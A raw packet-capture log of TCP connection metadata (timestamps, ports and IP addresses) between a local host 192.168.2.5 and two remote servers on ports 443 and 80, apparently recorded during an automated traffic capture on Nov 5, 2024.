Nov 5, 2024 10:13:17.682773113 CET	443	49724	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.683182001 CET	49723	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.683198929 CET	443	49723	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.684986115 CET	49723	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.684990883 CET	443	49723	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.685602903 CET	49720	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.685614109 CET	443	49720	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.686031103 CET	49720	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.686036110 CET	443	49720	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.687206030 CET	49724	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.687220097 CET	443	49724	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.687751055 CET	49724	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.687757015 CET	443	49724	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.804274082 CET	443	49722	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.804373980 CET	443	49721	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.805100918 CET	49722	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.805118084 CET	443	49722	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.805972099 CET	49722	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.805988073 CET	443	49722	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.806241035 CET	49721	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.806255102 CET	443	49721	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.806911945 CET	49721	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.806915998 CET	443	49721	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.821429014 CET	443	49723	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.821496964 CET	443	49723	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.821547985 CET	49723	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.821837902 CET	49723	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.821844101 CET	443	49723	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.821894884 CET	49723	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.821899891 CET	443	49723	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.822240114 CET	443	49724	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.822263002 CET	443	49724	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.822369099 CET	49724	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.822387934 CET	443	49724	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.822712898 CET	49724	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.822712898 CET	49724	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.822731018 CET	443	49724	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.822823048 CET	443	49720	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.822849989 CET	443	49720	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.822871923 CET	443	49724	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.822905064 CET	443	49724	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.822907925 CET	49720	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.822916031 CET	443	49720	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.822962999 CET	49724	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.822981119 CET	49720	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.823021889 CET	443	49720	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.823069096 CET	443	49720	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.823152065 CET	49720	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.823410988 CET	49720	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.823422909 CET	443	49720	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.826580048 CET	49725	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.826603889 CET	443	49725	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.826694012 CET	49725	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.828025103 CET	49726	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.828056097 CET	443	49726	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.828125000 CET	49726	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.828430891 CET	49726	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.828440905 CET	443	49726	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.829063892 CET	49727	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.829080105 CET	443	49727	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.829263926 CET	49727	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.829472065 CET	49727	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.829488039 CET	443	49727	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.829559088 CET	49725	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.829576015 CET	443	49725	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.838330984 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.843251944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843352079 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843364000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843374014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843384027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843394041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843404055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843413115 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.843457937 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.843477011 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843487024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843494892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843506098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843516111 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843528032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843537092 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.843558073 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.843627930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843638897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843648911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843657970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843668938 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843677998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843688965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843698025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.843698025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.843712091 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.843751907 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.843779087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843789101 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843797922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843806028 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843816042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843826056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843835115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843839884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843844891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843852997 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.843853951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.843883991 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.843905926 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844122887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844132900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844141960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844151974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844161034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844171047 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844180107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844187975 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844188929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844201088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844211102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844221115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844230890 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844230890 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844249964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844260931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844276905 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844280958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844291925 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844302893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844312906 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844312906 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844314098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844325066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844337940 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844347954 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844347954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844366074 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844366074 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844379902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844404936 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844458103 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844459057 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844548941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844558954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844568968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844577074 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844588041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844598055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844604015 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844604015 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844655037 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844679117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844690084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844697952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844708920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844717979 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844717979 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844729900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844741106 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844748974 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844752073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844763041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844773054 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844804049 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844804049 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844829082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844837904 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844850063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844860077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844870090 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844880104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844888926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844892025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844899893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844909906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844918966 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844918966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844918966 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.844930887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844942093 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.844952106 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.845029116 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.847508907 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847542048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847553968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847608089 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.847624063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847634077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847645044 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847652912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847662926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847688913 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.847693920 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847704887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847712040 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.847714901 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847727060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847737074 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847738981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.847779036 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.847788095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847798109 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847806931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847816944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847829103 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847843885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.847856998 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.847862959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847893000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847903967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847944975 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.847980022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.847995996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848005056 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848015070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848042965 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.848042965 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.848067999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848107100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848109007 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.848118067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848167896 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848176003 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.848177910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848217010 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.848253012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848263979 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848274946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848297119 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.848350048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848368883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848378897 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848413944 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.848438025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848448992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848470926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848525047 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.848531008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848541021 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.848613024 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.894644976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894818068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894826889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894838095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894848108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894857883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894874096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894885063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894895077 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894905090 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894917965 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.894922018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894934893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894939899 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.894939899 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.894944906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894963980 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894967079 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.894974947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894985914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.894994974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.895011902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.895019054 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.895019054 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.895024061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.895037889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.895047903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.895073891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.895073891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.895088911 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.910322905 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910334110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910343885 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910352945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910363913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910372972 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910383940 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910408020 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.910440922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910444021 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.910453081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910475016 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910489082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910499096 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910502911 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.910511017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910521030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910527945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910537958 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.910537958 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.910551071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910563946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910610914 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.910610914 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.910614014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910625935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910638094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910648108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910659075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910669088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910675049 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.910675049 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.910696983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910701990 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.910707951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:17.910747051 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:17.943101883 CET	443	49722	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.943125010 CET	443	49722	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.943161011 CET	443	49722	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.943336964 CET	49722	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.943435907 CET	49722	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.943435907 CET	49722	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.943451881 CET	443	49722	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.943479061 CET	443	49722	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.946279049 CET	49728	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.946301937 CET	443	49728	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:17.946512938 CET	49728	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.946650028 CET	49728	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:17.946662903 CET	443	49728	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.128938913 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.138755083 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.325659990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325674057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325683117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325692892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325705051 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325747013 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.325777054 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.325782061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325794935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325804949 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325813055 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325828075 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.325835943 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.325903893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325917006 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325927019 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325937986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.325957060 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.325957060 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.325973988 CET	443	49721	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.326052904 CET	443	49721	13.107.253.45	192.168.2.5
